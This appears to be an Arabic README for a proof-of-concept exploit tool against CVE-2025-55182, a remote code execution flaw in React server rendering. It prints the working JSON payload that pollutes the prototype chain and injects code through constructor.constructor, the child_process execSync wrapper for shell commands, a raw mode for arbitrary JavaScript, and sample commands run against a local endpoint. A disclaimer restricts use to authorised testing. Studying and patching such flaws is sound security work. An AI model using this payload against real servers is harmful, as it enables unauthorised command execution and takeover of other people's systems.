
هذا سكريبت POC لـ CVE-2025-55182 (React SSR RCE)
هذا إثبات مفهوم لأغراض تعليمية وأبحاث أمنية فقط. تم تصحيح هذه الثغرة في أحدث إصدارات الحِزم المتأثرة. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو التي لديك إذن صريح لاختبارها. لست مسؤولاً عن أي إجراءات قانونية تُتخذ ضدك.
يستغل الاستغلال كائن JSON مُصمم خصيصًا يُسيء استخدام سلسلة النماذج الأولية (prototype chain) في JavaScript:
{
"then": "$1:__proto__:then", // يُلوّث سلسلة النماذج الأولية
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": jsCode, // كود خبيث محقون
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
يدعم إثبات المفهوم وضعين:
الوضع القياسي (افتراضي):
process.mainModule.require("child_process").execSync("YOUR_COMMAND");
يُغلّف أوامر shell للتنفيذ عبر child_process في Node.js.
الوضع الخام (العلم --raw):
// ينفذ JavaScript تعسفيًا مباشرةً
يسمح بتنفيذ كود JavaScript مباشر دون تغليف أوامر shell.
bun run index.ts <command_file> <target_url>
مثال:
# إنشاء ملف الأمر
echo "whoami" > cmd.txt
# التنفيذ ضد نقطة النهاية المعرضة للخطر
bun run index.ts cmd.txt http://localhost:3000
bun run index.ts --raw <js_file> <target_url>
مثال:
# إنشاء حمولة JavaScript
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js
# تنفيذ JavaScript الخام
bun run index.ts --raw payload.js http://localhost:3000
<file_path>: مسار الملف الذي يحتوي على الأمر أو كود JavaScript<target_url>: رابط نقطة النهاية لوظيفة الخادم React--raw: (اختياري) تنفيذ JavaScript خام بدلاً من أوامر shellاكتشفها: Lachlan Davidson
أُفْصِح عنها بواسطة: فريق React وفريق أمان Meta